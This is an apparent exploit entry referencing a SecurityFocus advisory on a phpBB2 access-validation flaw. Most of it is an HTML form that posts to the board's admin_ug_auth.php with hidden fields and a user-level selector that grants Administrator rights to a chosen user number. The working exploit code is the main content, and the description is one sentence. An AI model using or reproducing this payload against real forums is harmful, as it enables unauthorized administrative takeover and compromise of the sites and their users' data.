source: https://www.securityfocus.com/bid/22730/info PHPBB2 is prone to a vulnerability that will let attackers gain administrative access to the application because it fails to properly validate access. Successful exploits may result in a complete compromise of vulnerable applications. <html> <head> </head> <body> <form method="post" action="www.example.com/board_directory/admin/admin_ug_auth.php"> User Level: <select name="userlevel"> <option value="admin">Administrator</option> <option value="user">User</option></select> <input type="hidden" name="private[1]" value="0"> <input type="hidden" name="moderator[1]" value="0"> <input type="hidden" name="mode" value="user"> <input type="hidden" name="adv" value=""> User Number: <input type="text" name="u" size="5"> <input type="submit" name="submit" value="Submit"> </form> </body> </html>